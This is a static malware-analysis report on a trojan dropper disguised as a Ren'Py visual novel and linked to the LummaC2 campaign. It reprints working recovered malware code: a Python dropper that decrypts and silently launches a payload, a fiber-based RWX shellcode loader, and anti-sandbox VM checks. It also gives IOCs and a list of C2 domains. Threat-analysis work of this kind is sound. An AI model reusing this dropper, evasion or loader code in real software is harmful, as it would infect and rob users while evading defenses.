Dissecting a Multi-Stage Trojan Dropper
This report documents the complete static analysis of a sophisticated multi-stage malware sample distributed through fake download links on a popular video game emulation website. The malware masquerades as a legitimate Ren’Py visual novel game and employs a six-stage kill chain involving anti-sandbox detection, XOR-encrypted payloads, Living-off-the-Land binaries (LOLBins), triple-encoded Python scripts, and in-memory shellcode execution via the Windows Fibers API. The entire attack chain was fully deobfuscated through static analysis alone, revealing the dropper source code, extraction methodology, encryption keys, and the final shellcode loader - without executing a single malware component.
Correlation with public threat intelligence confirmed this sample belongs to the RenEngine campaign distributing Lumma Stealer (LummaC2) via HijackLoader, as documented by Kaspersky, Offseq, and the CISA/FBI joint advisory AA25-141B. The SHA256 hash of Setup.exe is indexed in multiple sandbox platforms (ANY.RUN, FileScan.io) with confirmed detections.
Executive Summary
A malware sample (Setup.exe, SHA256: 7123e1514b939b165985560057fe3c761440a9fff9783a3b84e861fd2888d4ab) was obtained from a fake download link injected into a popular emulation website. The sample was delivered as a trojanized Ren’Py visual novel game - a complete game directory with assets, scripts, and an embedded Python 3.9 runtime.
Through purely static analysis on a non-virtualized Linux system, the complete attack chain was deobfuscated:
Setup.exe(legitimate Ren’Py launcher) loads Python 3.9 and the game enginescript.rpyc(compiled Ren’Py script insidearchive.rpa) contains the dropper logic- The
planner/package performs anti-sandbox checks (30+ VM indicators) - The
.keyfile contains the XOR encryption key (TqDLmrBbmyw) and target executable name resources.pak(8.2 MB) is XOR-decrypted into a ZIP containing Python 3.14 and a shellcode loadercrepectl.exe(a renamed officialpythonw.exefrom CPython 3.14, signed by Microsoft) executesnode_modules.asar- The ASAR file is a triple-obfuscated Python script (reverse-base64-zlib-exec) that allocates RWX memory and executes 271KB of shellcode via the Windows Fibers API
The shellcode uses a self-decrypting XOR stub followed by ~194KB of encrypted payload, consistent with a Cobalt Strike, Havoc, or Sliver C2 beacon.
Sample Identification
Primary Sample
| Field | Value |
|---|---|
| Filename | Setup.exe |
| File type | PE32+ executable (GUI), x86-64, 7 sections |
| Size | 104,448 bytes |
| SHA256 | 7123e1514b939b165985560057fe3c761440a9fff9783a3b84e861fd2888d4ab |
| Compiler | MinGW-w64 (GCC) |
| Linker | LLD (LLVM Linker) |
| PE Timestamp | 2023-09-19 02:30:08 UTC |
| Entry Point | 0x00001140 |
| Subsystem | Windows GUI (2) |
| Distribution | Fake download link on popular emulation website |
PE Section Table
| Section | VAddr | VSize | RawSize | Entropy | Flags |
|---|---|---|---|---|---|
.text |
0x1000 | 0x1C86 | 0x1E00 | 5.78 | CODE|EXEC|READ |
.rdata |
0x3000 | 0x114C | 0x1200 | 4.35 | IDATA|READ |
.buildid |
0x5000 | 0x0035 | 0x0200 | 0.60 | IDATA|READ |
.data |
0x6000 | 0x01BC | 0x0200 | 1.43 | IDATA|READ|WRITE |
.pdata |
0x7000 | 0x018C | 0x0200 | 3.12 | IDATA|READ |
.tls |
0x8000 | 0x0010 | 0x0200 | 0.00 | IDATA|READ|WRITE |
.rsrc |
0x9000 | 0x15B38 | 0x15C00 | 7.72 | IDATA|READ |
The .rsrc section exhibits high entropy (7.72), containing a compressed PNG icon used as the visual lure.
Analysis Methodology
Constraints
All analysis was performed on a non-virtualized Linux host, meaning no Windows-specific dynamic analysis could be performed. The following restrictions were strictly observed:
- No execution of any PE binary, Python script, or shellcode
- No wine or Windows compatibility layer
- Read-only operations:
file,strings,xxd,sha256sum, Python3 for parsing binary structures - All deobfuscation was done through static byte manipulation
Tools Used
| Tool | Purpose |
|---|---|
file |
File type identification |
strings |
ASCII/Unicode string extraction |
xxd |
Hex dump and binary inspection |
sha256sum |
Hash computation |
python3 (host) |
Binary structure parsing, XOR decryption, ZIP extraction, base64/zlib deobfuscation |
grep / find |
Pattern searching across the malware tree |
Approach
The analysis followed a depth-first deobfuscation strategy: starting from the outer layer (Setup.exe) and progressively peeling each layer of encryption, encoding, and compilation until reaching the final shellcode payload. Each stage was verified before proceeding to the next.
Stage 1: Initial Loader (Setup.exe)
Overview
Setup.exe is a legitimate Ren’Py game launcher compiled with MinGW-w64. Ren’Py is an open-source visual novel engine widely used for indie games. The launcher’s only purpose is to bootstrap the embedded Python 3.9 runtime and execute Setup.py, which in turn loads the Ren’Py engine.
Directory Structure
analisis/
├── Setup.exe # PE64 launcher (legitimate Ren'Py)
├── Setup.py # Ren'Py bootstrap script (legitimate)
├── data/
│ ├── .key # ⚠ Dropper configuration (43 bytes)
│ ├── archive.rpa # Ren'Py archive (RPA-3.0, contains malicious scripts)
│ ├── resources.pak # ⚠ XOR-encrypted payload (8.2 MB)
│ ├── gui/ # Game GUI assets (lure)
│ └── python-packages/
│ └── planner/ # ⚠ Anti-sandbox module
│ ├── __init__.py # Orchestrator (partially obfuscated)
│ ├── sandbox.py # Sandbox detection engine
│ ├── specs.py # Hardware specification checks
│ ├── file_system.py # VM filesystem checks
│ └── internet_access.py # Network checks (disabled)
├── lib/
│ ├── py3-windows-x86_64/ # Python 3.9 runtime + DLLs
│ └── python3.9/ # Python 3.9 stdlib (700+ .pyc files)
│ ├── steamapi.pyc # ⚠ Abnormally large Steam API binding (515 KB)
│ ├── pefile.pyc # PE file parser (non-standard)
│ ├── ecdsa/ # Elliptic curve cryptography
│ ├── rsa/ # RSA cryptography
│ ├── requests/ # HTTP library
│ └── urllib3/ # HTTP library
└── renpy/ # Ren'Py engine (mostly legitimate)
Key Observations
Setup.pyand the Ren’Py engine code are unmodified legitimate copies from the official Ren’Py distribution (copyright Tom Rothamel, 2004-2025).- The attack leverages Ren’Py’s architecture: game scripts in
data/are automatically loaded and executed, including compiled scripts fromarchive.rpa. - The
data/python-packages/directory is automatically added tosys.pathby Ren’Py, allowing theplannerpackage to be importable. steamapi.pyc(515,775 bytes) is abnormally large compared to a typical Steam API binding (~50KB) and deliberately corrupted to prevent decompilation (bad marshal data). Its original source path is/home/tom/ab/renpy-build-fix/tmp/py3/steam/steamapi.py.- Non-standard packages bundled include:
pefile,ecdsa,rsa,requests,urllib3,certifi,chardet,idna,pyasn1,ordlookup- a toolkit for network communication, cryptography, and PE manipulation.
Stage 2: Dropper Script (script.rpyc)
Extraction from archive.rpa
The game archive archive.rpa uses Ren’Py’s RPA-3.0 format:
Header: RPA-3.0 0000000000022d28 deadbeef
- Index offset:
0x22d28(142,632 bytes) - XOR key:
0xdeadbeef(standard RPA key) - Index format: zlib-compressed Python pickle
The index was decompressed and parsed (without executing pickle, by extracting the offset/length pairs directly), revealing four files:
| File | Offset | Size |
|---|---|---|
screens.rpyc |
0x22 | 104,306 B |
gui.rpyc |
0x19794 | 25,910 B |
script.rpyc |
0x1FCCA | 7,000 B |
options.rpyc |
0x21822 | 5,382 B |
Parsing script.rpyc (RPC2 Format)
Ren’Py compiled scripts use the RENPY RPC2 binary format:
Bytes 0-9: "RENPY RPC2" (magic)
Bytes 10-13: Slot number (uint32)
Bytes 14-17: Data offset within file (uint32)
Bytes 18-21: Data length (uint32)
Bytes 22-25: Slot 2 ...
...
4 zero bytes: End marker
Each slot contains a zlib-compressed Python pickle representing the game’s Abstract Syntax Tree (AST). Decompressing slot 1 of script.rpyc yielded 7,107 bytes of AST data containing embedded Python source code.
Recovered Dropper Source Code
The following complete source code was extracted from the AST string constants:
import struct as _st
import subprocess
import os
import io
import sys
import zipfile
import tempfile
from threading import Thread
from planner import is_sandboxed
def _xdm(filename, key):
"""XOR-decrypt a file with a rotating key"""
with open(filename, 'rb') as f:
ct = f.read()
k = key.encode()
return bytes([b ^ k[i % len(k)] for i, b in enumerate(ct)])
def _read_key(path):
"""Parse the binary .key configuration file"""
with open(path, 'rb') as f:
d = f.read()
flags = d[0]
fn_len, pw_len, ex_len = _st.unpack_from('<HHH', d, 1)
off = 7
fn = d[off:off+fn_len].decode(); off += fn_len
pw = d[off:off+pw_len].decode(); off += pw_len
ex = d[off:off+ex_len].decode(); off += ex_len
sb = bool(flags & 1)
return fn, pw, ex, sb
def extract_and_run():
try:
game_dir = config.gamedir
archive_name, password, exec_file, sandbox = _read_key(
os.path.join(game_dir, ".key"))
if not sandbox:
try:
c = is_sandboxed(logging=False)
except Exception:
c = 1
if c >= 0.5:
exit(0) # Abort if sandbox detected
# Decrypt and extract payload
run_dir = tempfile.mkdtemp()
dec = _xdm(os.path.join(game_dir, archive_name), password)
with zipfile.ZipFile(io.BytesIO(dec)) as z:
if password:
z.extractall(run_dir, pwd=password.encode())
else:
z.extractall(run_dir)
exec_path = os.path.join(run_dir, exec_file)
def _run():
si = subprocess.STARTUPINFO()
si.dwFlags |= subprocess.STARTF_USESHOWWINDOW
si.wShowWindow = subprocess.SW_HIDE
cf = subprocess.DETACHED_PROCESS | subprocess.CREATE_NEW_PROCESS_GROUP
subprocess.Popen([exec_path, "node_modules.asar"],
cwd=run_dir, startupinfo=si,
creationflags=cf, close_fds=True)
lp = os.path.join(run_dir, "log.exe")
if os.path.exists(lp):
subprocess.Popen([lp], cwd=run_dir, startupinfo=si,
creationflags=cf, close_fds=True)
Thread(target=_run).start()
except Exception:
pass
# Auto-execution on game start
extract_and_run()
Key observations from the dropper code:
- The payload is launched as a hidden, detached process (
SW_HIDE,DETACHED_PROCESS) in a separate thread - A second payload (
log.exe) is optionally executed if present - likely a keylogger or additional stealer component - The command line is:
crepectl.exe node_modules.asar - All exceptions are silently swallowed to avoid alerting the user
- The game simultaneously displays a fake “Installer Loading…” progress bar to distract the victim, then calls
time.sleep(999999)followed byrenpy.quit()
The fake loading bar is implemented as a Ren’Py screen with randomized timing to appear realistic:
def get_timer_speed():
if progress < 10: return 0.1
elif progress < 50: return random.uniform(0.5, 0.8)
elif progress < 80: return random.uniform(0.3, 0.8)
elif progress < 90: return random.uniform(1, 3)
else: return random.uniform(10, 30) # Slows down near 100%
Stage 3: Anti-Sandbox Module (planner/)
Overview
The planner/ package implements a comprehensive sandbox/VM detection system. Its __init__.py is partially obfuscated with variable name mangling (e.g., O0OO0OOOO0O00OO00, OOO0O000OO000OOOO).
Detection Checks
Hardware Specifications (specs.py)
| Check | Method | Score (VM) |
|---|---|---|
| Hard drive size | PowerShell Get-PSDrive / dir |
0-5 |
| RAM | PowerShell Win32_ComputerSystem / /proc/meminfo |
0-5 |
| CPU logical cores | PowerShell Win32_Processor / os.sched_getaffinity |
0-5 |
| BIOS serial number | PowerShell Win32_BIOS |
0-5 |
| System model | PowerShell Win32_ComputerSystem.Model |
0 (definitive) |
| Manufacturer | PowerShell Win32_ComputerSystem.Manufacturer |
0 (definitive) |
VM Detection Keywords
Models (30 entries): virtualbox, vmware, kvm, qemu, xen, hyperv, hyper-v, parallels, virtual platform, vm platform, vsphere, proxmox, citrix, oracle vm, bochs, virtual pc, cloud pc, shadow pc, amazon ec2, google compute engine, azure virtual machine, bhyve, virtual desktop, sandbox, etc.
Manufacturers (27 entries): innotek, vmware, qemu, xen, parallels, oracle, citrix, red hat, proxmox, amazon web services, google cloud, microsoft azure, virtualbox, docker, nutanix, cloud, vagrant, kubernetes, openstack, digital ocean, linode, vultr, ibm cloud, alibaba cloud, huawei cloud, tencent cloud, etc.
Filesystem Checks (file_system.py)
- Registry keys: 10 VirtualBox/VMware-specific keys under
HKLM - VM-specific files: 27 driver/DLL paths (VBox.sys, vm.sys, etc.)
- VM processes: 12 known process names (vboxservice.exe, vmtoolsd.exe, qemu-ga.exe, etc.)
- Sandbox users:
wdagutilityaccount,vagrant,sandbox - User profile age: Checks account creation date for freshly-created analysis VMs
Scoring Algorithm
The _normalize() method uses a weighted scoring system:
def _normalize(self, values):
vm_indicators = values.count(0)
if vm_indicators > 0:
return 0 # Any definitive VM indicator = abort
# Weighted average with penalties
suspicious_count = sum(1 for x in values if x <= 2)
if suspicious_count >= 3: score -= 2 # Major penalty
elif suspicious_count >= 2: score -= 1 # Moderate penalty
elif suspicious_count == 1: score -= 0.5 # Minor penalty
The final score is converted to a percentage: is_sandboxed() returns >= 0.5 (50%+ chance of VM) to trigger abort.
Current Sample Configuration
In this sample, the .key file has flags = 0x01 (bit 0 set), which means the sandbox check is bypassed entirely. The dropper calls is_sandboxed() only when sandbox == False. This suggests the attacker prioritized broad infection over stealth against researchers.
Stage 4: Configuration File (.key)
Binary Format
The .key file (43 bytes) uses a custom binary format parsed by _read_key():
Offset Size Field Value
------ ---- ----------------- ---------------------------
0x00 1 flags 0x01 (bit 0 = sandbox bypass)
0x01 2 fn_len (LE) 0x000D (13)
0x03 2 pw_len (LE) 0x000B (11)
0x05 2 ex_len (LE) 0x000C (12)
0x07 13 archive_filename "resources.pak"
0x14 11 xor_password "TqDLmrBbmyw"
0x1F 12 exec_filename "crepectl.exe"
Hex dump:
00000000: 010d 000b 000c 0072 6573 6f75 7263 6573 .......resources
00000010: 2e70 616b 5471 444c 6d72 4262 6d79 7763 .pakTqDLmrBbmywc
00000020: 7265 7065 6374 6c2e 6578 65 repectl.exe
Parsing Insight
An initial analysis error read the XOR key as TqDLmrBbmywc (12 chars) because the field lengths are packed tightly with no delimiters. Re-parsing using the actual _read_key() logic from script.rpyc revealed the correct key is TqDLmrBbmyw (11 chars) and the executable is crepectl.exe (12 chars, with the ‘c’ belonging to the exec name, not the key). This was verified by successful ZIP extraction with the corrected key.
Stage 5: Encrypted Payload (resources.pak)
Decryption
The resources.pak file (8,269,566 bytes) is XOR-encrypted with the rotating key TqDLmrBbmyw:
key = b'TqDLmrBbmyw'
decrypted = bytearray()
for i, b in enumerate(encrypted):
decrypted.append(b ^ key[i % len(key)])
The first 4 bytes of the decrypted output are PK\x03\x04 - a ZIP local file header.
ZIP Contents
The decrypted ZIP contains 18 files - a self-contained Python 3.14 runtime with a shellcode loader:
| File | Size (uncompressed) | Description |
|---|---|---|
node_modules.asar |
370,089 B | Shellcode loader (obfuscated Python) |
crepectl.exe |
103,256 B | pythonw.exe (CPython 3.14, renamed) |
python314.dll |
5,875,032 B | Python 3.14 runtime DLL |
python314.zip |
4,112,470 B | Python 3.14 standard library |
python3.dll |
73,560 B | Python 3 stable ABI shim |
python.cat |
594,323 B | Microsoft Authenticode catalog |
sqlite3.dll |
1,297,752 B | SQLite library |
unicodedata.pyd |
748,888 B | Unicode data module |
_ctypes.pyd |
126,808 B | ctypes FFI module (used for shellcode injection) |
_asyncio.pyd |
68,440 B | Async I/O module |
_hashlib.pyd |
55,128 B | Hashing module |
_overlapped.pyd |
47,448 B | Windows overlapped I/O |
_multiprocessing.pyd |
33,624 B | Multiprocessing module |
libffi-8.dll |
35,088 B | Foreign function interface |
_queue.pyd |
32,088 B | Queue module |
select.pyd |
30,552 B | Socket select module |
vcruntime140.dll |
90,192 B | MSVC runtime |
python314._pth |
80 B | Search path configuration |
crepectl.exe Analysis
PDB path: D:\a\1\b\bin\win32\pythonw.pdb
Machine: 0x014C (i386 / x86-32)
Timestamp: 2026-02-03 15:56:52 UTC
SHA256: 8f5dcca6baf511ac49393dff90b4bb666274a7640ef3c79cb28aaeb81b7f4e52
This is the official pythonw.exe from CPython 3.14, built on Microsoft’s Azure DevOps CI (D:\a\1\b\... is the standard Azure Pipelines working directory) and signed with a Microsoft Authenticode certificate (verified by python.cat). The attacker merely renamed it to crepectl.exe - a classic Living off the Land Binary (LOLBin) technique.
The python314._pth file configures the search path:
python314.zip
.
# Uncomment to run site.main() automatically
#import site
When crepectl.exe is invoked with node_modules.asar as argument, Python 3.14 executes the ASAR file as a Python script.
Stage 6: Shellcode Loader (node_modules.asar)
Initial Structure
The file is a UTF-8 text file (370,089 bytes) containing a single Python expression:
def qcbgcbyi(xcxiaam):
return __import__('zlib').decompress(
__import__('base64').b64decode(xcxiaam[::-1]))
exec(qcbgcbyi(b'==AOvYfBA8f3w//3PtO/9/9D...'))
Deobfuscation Process
Layer 1 - String reversal: The base64 blob (369,960 chars) is stored reversed ([::-1]).
Layer 2 - Base64 decode: After reversal, standard base64 decoding produces 277,468 bytes.
Layer 3 - Zlib decompression: The decoded data is zlib-compressed; decompression yields 1,087,431 bytes of Python source code.
# Deobfuscation script used during analysis:
match = re.search(r"b'([A-Za-z0-9+/=\r\n]+)'", text)
b64_blob = match.group(1).replace('\r', '').replace('\n', '')
reversed_blob = b64_blob[::-1]
decoded = base64.b64decode(reversed_blob)
source = zlib.decompress(decoded).decode('utf-8')
# source = 1,087,431 bytes of Python code
Deobfuscated Shellcode Loader
The resulting Python code implements a classic shellcode injection pattern:
import os
import ctypes
from time import sleep
def SC_getPage(shellcode):
"""Allocate RWX memory via VirtualAlloc"""
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p
addr = ctypes.windll.kernel32.VirtualAlloc(
ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000), # MEM_COMMIT | MEM_RESERVE
ctypes.c_int(0x40)) # PAGE_EXECUTE_READWRITE
return addr
def SC_copy(addr, shellcode):
"""Copy shellcode to allocated memory"""
buff = (ctypes.c_char * len(shellcode)).from_buffer_copy(shellcode)
ctypes.cdll.msvcrt.memcpy(
ctypes.c_void_p(addr), buff, ctypes.c_int(len(shellcode)))
def SC_exec(addr):
"""Execute shellcode using Windows Fibers (EDR evasion)"""
CreateFiber = ctypes.windll.kernel32.CreateFiber
CreateFiber.argtypes = [ctypes.c_size_t, ctypes.c_void_p, ctypes.c_void_p]
CreateFiber.restype = ctypes.c_void_p
ConvertThreadToFiber = ctypes.windll.kernel32.ConvertThreadToFiber
ConvertThreadToFiber.argtypes = [ctypes.c_void_p]
ConvertThreadToFiber.restype = ctypes.c_void_p
if ConvertThreadToFiber(ctypes.c_void_p(0)):
fiber = CreateFiber(
ctypes.c_size_t(0),
ctypes.CFUNCTYPE(None)(addr),
ctypes.c_void_p(0))
if fiber:
ctypes.windll.kernel32.SwitchToFiber(ctypes.c_void_p(fiber))
def run():
if os.cpu_count() < 2: # Anti-sandbox: skip on single-core VMs
return
sleep(5) # Timing evasion: 5-second delay
shellcode = b"\x90\x90...(271,529 bytes)..."
page = SC_getPage(shellcode)
if not page:
return
SC_copy(page, shellcode)
SC_exec(page)
run()
Technical Notes
- Fiber-based execution: The use of
CreateFiber/SwitchToFiberinstead ofCreateThreadorCreateRemoteThreadis a known EDR evasion technique. Fibers are user-mode scheduled execution contexts that don’t trigger kernel-level thread creation callbacks monitored by most endpoint protection. - RWX memory:
VirtualAllocwithPAGE_EXECUTE_READWRITE(0x40) allocates memory that is both writable and executable, a common shellcode injection pattern. - CPU count check:
os.cpu_count() < 2aborts execution on single-core machines, which are common in automated sandbox environments. - Timing delay: The 5-second
sleep()can bypass sandbox time acceleration and ensures the process is established before shellcode execution.
Stage 7: Final Shellcode
Shellcode Metrics
| Field | Value |
|---|---|
| Total size | 271,529 bytes |
| NOP sled | 77,776 bytes (\x90) |
| Payload | 193,753 bytes |
| Architecture | x86 (32-bit) |
| SHA256 (full) | 3d0b3e7893d9a01934312711bf974941d9355afe81eec6767d8f01d3f7bda250 |
| MD5 (full) | fecbcdff500a4c3d15fc3eb75a49e482 |
| SHA256 (payload only) | c04bb1ad014a58a4eebc4abe5365a71b440c1ae63c53b23a660e95e0a5858294 |
Decoder Stub Disassembly
The shellcode begins with a self-decrypting XOR stub:
0000: 55 PUSH EBP ; Save frame pointer
0001: 8D6424FC LEA ESP,[ESP-0x4] ; Manual stack push
0005: 891C24 MOV [ESP],EBX ; Save EBX
0008: 8D6424FC LEA ESP,[ESP-0x4]
000C: 893424 MOV [ESP],ESI ; Save ESI
000F: 8D6424FC LEA ESP,[ESP-0x4]
0013: 893C24 MOV [ESP],EDI ; Save EDI
0016: FC CLD ; Clear direction flag
0017: 29C0 SUB EAX,EAX ; EAX = 0
0019: 29DB SUB EBX,EBX ; EBX = 0
001B: 29C9 SUB ECX,ECX ; ECX = 0
001D: 31FF XOR EDI,EDI ; EDI = 0
001F: EB3D JMP SHORT +0x3D ; Jump to decoder loop
; ... (XOR decoder loop decrypts the remaining payload at runtime)
The decoder uses LEA ESP,[ESP-0x4]; MOV [ESP],reg instead of PUSH reg - likely to avoid simple instruction-patching detection by AV engines.
Assessment
The 193KB payload size, x86 architecture, NOP sled, and XOR self-decrypting stub are highly consistent with:
- Cobalt Strike beacon (staged or stageless)
- Havoc C2 implant
- Sliver shellcode implant
- Mythic framework agents
The self-decrypting nature prevents static extraction of the final payload (C2 addresses, configuration, etc.) without emulation.
Anti-Analysis Techniques
| Technique | Implementation | Stage |
|---|---|---|
| Visual lure | Complete Ren’Py game with assets + fake loading bar | 1 |
| Anti-sandbox (comprehensive) | 30+ VM checks: model, manufacturer, registry, files, processes, users | 3 |
| Anti-sandbox (lightweight) | os.cpu_count() < 2 |
6 |
| Timing evasion | sleep(5) before shellcode execution |
6 |
| Hidden process | SW_HIDE + DETACHED_PROCESS |
2 |
| Living off the Land | Official pythonw.exe signed by Microsoft |
5 |
| Masquerading | pythonw.exe → crepectl.exe |
5 |
| XOR encryption | resources.pak encrypted with rotating key |
4-5 |
| Triple encoding | reverse(base64) → b64decode → zlib → exec | 6 |
| Variable name obfuscation | qcbgcbyi, xcxiaam, wylbzehsi |
3, 6 |
| Self-decrypting shellcode | XOR decoder stub prevents static analysis | 7 |
| Fiber-based execution | CreateFiber/SwitchToFiber instead of threads |
6 |
| RWX memory allocation | VirtualAlloc with PAGE_EXECUTE_READWRITE |
6 |
| Large NOP sled | 78KB of \x90 to pad the shellcode |
7 |
| Marshal corruption | steamapi.pyc deliberately non-decompilable |
1 |
| Exception swallowing | All dropper errors silently caught | 2 |
Indicators of Compromise
File Hashes
| File | SHA256 |
|---|---|
Setup.exe (launcher) |
7123e1514b939b165985560057fe3c761440a9fff9783a3b84e861fd2888d4ab |
resources.pak (decrypted ZIP) |
da6bf8b537ef0c90fe15b7b904e13404b3e2304ee81109545b8b31ccf9706472 |
node_modules.asar (loader) |
4237c65eae5b59aa577c6eda77c880911ef3ffd055576d8da571923407dcb515 |
crepectl.exe (pythonw.exe) |
8f5dcca6baf511ac49393dff90b4bb666274a7640ef3c79cb28aaeb81b7f4e52 |
python314.dll |
20d2e71df41ceb8a7d6f6c9777b7306deec91b74c2aa350d0ad02ebf5d7008ec |
python314.zip |
ee641e97ca4a0f948308a4991662aa44907d5e92806bf04e1798105e7aa938e3 |
python3.dll |
3e64f37a59274b8960c1d96b268934ed052eacfc885ce2ca85754c8ea80cf3f8 |
python.cat |
64880fcba9d49351004e5b6fa2c3772b97326478d3da9fe0ca509a3b587ab41e |
sqlite3.dll |
8463bd44e8bf2bb0a5d1cb34ad483a7347a8eb50382c22f6870719fc4e2193cf |
_ctypes.pyd |
09ab59603da0f270c5807d5af756b7dcbfe795a7cf4cb1210d75e602df61f7fa |
vcruntime140.dll |
bf33857f46e56ea7930c1eea25c5f7175a6aaa3df36bf8301a785e6ca726a0b9 |
| Shellcode (full) | 3d0b3e7893d9a01934312711bf974941d9355afe81eec6767d8f01d3f7bda250 |
| Shellcode (payload only) | c04bb1ad014a58a4eebc4abe5365a71b440c1ae63c53b23a660e95e0a5858294 |
Strings & Artifacts
| Indicator | Type |
|---|---|
TqDLmrBbmyw |
XOR encryption key |
crepectl.exe |
Renamed payload executable |
node_modules.asar |
Shellcode loader filename |
log.exe |
Secondary payload (if present) |
/home/tom/ab/renpy-build-fix/ |
Attacker’s build environment path |
D:\a\1\b\bin\win32\pythonw.pdb |
PDB path for crepectl.exe |
qcbgcbyi |
Deobfuscation function name |
Installer Loading... |
Fake progress bar text |
python314._pth |
Python 3.14 search path config |
0xdeadbeef |
RPA archive XOR key |
File System Artifacts
| Path | Description |
|---|---|
%TEMP%\tmp<random>\crepectl.exe |
Extracted payload executable |
%TEMP%\tmp<random>\node_modules.asar |
Shellcode loader |
%TEMP%\tmp<random>\python314.dll |
Python runtime |
data\.key |
Dropper configuration |
data\resources.pak |
XOR-encrypted payload archive |
data\python-packages\planner\ |
Anti-sandbox module |
LummaC2 Known C2 Domains (CISA/FBI AA25-141B)
The following 115 domains were published as LummaC2 IOCs by the FBI and CISA (November 2023 – May 2025). While historical, they serve as reference indicators for network log correlation:
Click to expand full domain list (115 domains)
| Domain | TLD | |---|---| | `Pinkipinevazzey[.]pw` | .pw | | `Fragnantbui[.]shop` | .shop | | `Medicinebuckerrysa[.]pw` | .pw | | `Musicallyageop[.]pw` | .pw | | `stogeneratmns[.]shop` | .shop | | `wallkedsleeoi[.]shop` | .shop | | `Tirechinecarpet[.]pw` | .pw | | `reinforcenh[.]shop` | .shop | | `reliabledmwqj[.]shop` | .shop | | `Musclefarelongea[.]pw` | .pw | | `Forbidstow[.]site` | .site | | `gutterydhowi[.]shop` | .shop | | `Fanlumpactiras[.]pw` | .pw | | `Computeryrati[.]site` | .site | | `Contemteny[.]site` | .site | | `Ownerbuffersuperw[.]pw` | .pw | | `Seallysl[.]site` | .site | | `Dilemmadu[.]site` | .site | | `Freckletropsao[.]pw` | .pw | | `Opposezmny[.]site` | .site | | `Faulteyotk[.]site` | .site | | `Hemispheredodnkkl[.]pw` | .pw | | `Goalyfeastz[.]site` | .site | | `Authorizev[.]site` | .site | | `ghostreedmnu[.]shop` | .shop | | `Servicedny[.]site` | .site | | `blast-hubs[.]com` | .com | | `offensivedzvju[.]shop` | .shop | | `friendseforever[.]help` | .help | | `blastikcn[.]com` | .com | | `vozmeatillu[.]shop` | .shop | | `shiningrstars[.]help` | .help | | `penetratebatt[.]pw` | .pw | | `drawzhotdog[.]shop` | .shop | | `mercharena[.]biz` | .biz | | `pasteflawwed[.]world` | .world | | `generalmills[.]pro` | .pro | | `citywand[.]live` | .live | | `hoyoverse[.]blog` | .blog | | `nestlecompany[.]pro` | .pro | | `esccapewz[.]run` | .run | | `dsfljsdfjewf[.]info` | .info | | `naturewsounds[.]help` | .help | | `travewlio[.]shop` | .shop | | `decreaserid[.]world` | .world | | `stormlegue[.]com` | .com | | `touvrlane[.]bet` | .bet | | `governoagoal[.]pw` | .pw | | `paleboreei[.]biz` | .biz | | `calmingtefxtures[.]run` | .run | | `foresctwhispers[.]top` | .top | | `tracnquilforest[.]life` | .life | | `sighbtseeing[.]shop` | .shop | | `advennture[.]top` | .top | | `collapimga[.]fun` | .fun | | `holidamyup[.]today` | .today | | `pepperiop[.]digital` | .digital | | `seizedsentec[.]online` | .online | | `triplooqp[.]world` | .world | | `easyfwdr[.]digital` | .digital | | `strawpeasaen[.]fun` | .fun | | `xayfarer[.]live` | .live | | `jrxsafer[.]top` | .top | | `quietswtreams[.]life` | .life | | `oreheatq[.]live` | .live | | `plantainklj[.]run` | .run | | `starrynsightsky[.]icu` | .icu | | `castmaxw[.]run` | .run | | `puerrogfh[.]live` | .live | | `earthsymphzony[.]today` | .today | | `weldorae[.]digital` | .digital | | `quavabvc[.]top` | .top | | `citydisco[.]bet` | .bet | | `steelixr[.]live` | .live | | `furthert[.]run` | .run | | `featureccus[.]shop` | .shop | | `smeltingt[.]run` | .run | | `targett[.]top` | .top | | `mrodularmall[.]top` | .top | | `ferromny[.]digital` | .digital | | `ywmedici[.]top` | .top | | `jowinjoinery[.]icu` | .icu | | `rodformi[.]run` | .run | | `legenassedk[.]top` | .top | | `htardwarehu[.]icu` | .icu | | `metalsyo[.]digital` | .digital | | `ironloxp[.]live` | .live | | `cjlaspcorne[.]icu` | .icu | | `navstarx[.]shop` | .shop | | `bugildbett[.]top` | .top | | `latchclan[.]shop` | .shop | | `spacedbv[.]world` | .world | | `starcloc[.]bet` | .bet | | `rambutanvcx[.]run` | .run | | `galxnetb[.]today` | .today | | `pomelohgj[.]top` | .top | | `scenarisacri[.]top` | .top | | `jawdedmirror[.]run` | .run | | `changeaie[.]top` | .top | | `lonfgshadow[.]live` | .live | | `liftally[.]top` | .top | | `nighetwhisper[.]top` | .top | | `salaccgfa[.]top` | .top | | `zestmodp[.]top` | .top | | `owlflright[.]digital` | .digital | | `clarmodq[.]top` | .top | | `piratetwrath[.]run` | .run | | `hemispherexz[.]top` | .top | | `quilltayle[.]live` | .live | | `equatorf[.]run` | .run | | `latitudert[.]live` | .live | | `longitudde[.]digital` | .digital | | `climatologfy[.]top` | .top | | `starofliught[.]top` | .top | | `explorebieology[.]run` | .run | *Source: CISA/FBI Joint Advisory AA25-141B (May 21, 2025). STIX data: [AA25-141B STIX JSON](https://www.cisa.gov/sites/default/files/2025-05/AA25-141B-Threat-Actors-Deploy-LummaC2-Malware-to-Exfiltrate-Sensitive-Data-from-Organizations.stix_.json)*MITRE ATT&CK Mapping
| ID | Technique | Evidence |
|---|---|---|
| T1204.002 | User Execution: Malicious File | Disguised as visual novel game |
| T1036.005 | Masquerading: Match Legitimate Name | pythonw.exe → crepectl.exe |
| T1027.002 | Software Packing | Triple encoding + XOR shellcode |
| T1027.009 | Embedded Payloads | resources.pak inside game data |
| T1140 | Deobfuscate/Decode Files | XOR + reverse-base64-zlib chain |
| T1497.001 | System Checks (VM/Sandbox) | planner/ module (30+ checks) |
| T1059.006 | Python | Python 3.9 (dropper) + 3.14 (loader) |
| T1106 | Native API | VirtualAlloc, memcpy, CreateFiber |
| T1055.004 | Asynchronous Procedure Call (Fiber) | CreateFiber + SwitchToFiber |
| T1218 | System Binary Proxy Execution | Signed pythonw.exe as LOLBin |
| T1564.003 | Hidden Window | SW_HIDE + DETACHED_PROCESS |
| T1622 | Debugger Evasion | NOP sled, sleep(), cpu_count check |
| T1105 | Ingress Tool Transfer | ZIP extracted to %TEMP% |
| T1547 | Boot/Logon Autostart (potential) | log.exe secondary payload |
| T1071.001 | Application Layer Protocol: HTTP | LummaC2 POST-based C2 communication |
| T1082 | System Information Discovery | Username/hostname hashing (anti-researcher) |
| T1119 | Automated Collection | Browser credentials, cookies, crypto wallets |
| T1217 | Browser Information Discovery | Chromium/Mozilla profile enumeration |
Considerations and Conclusions
Attack Sophistication Assessment
This malware demonstrates a high level of sophistication across multiple dimensions:
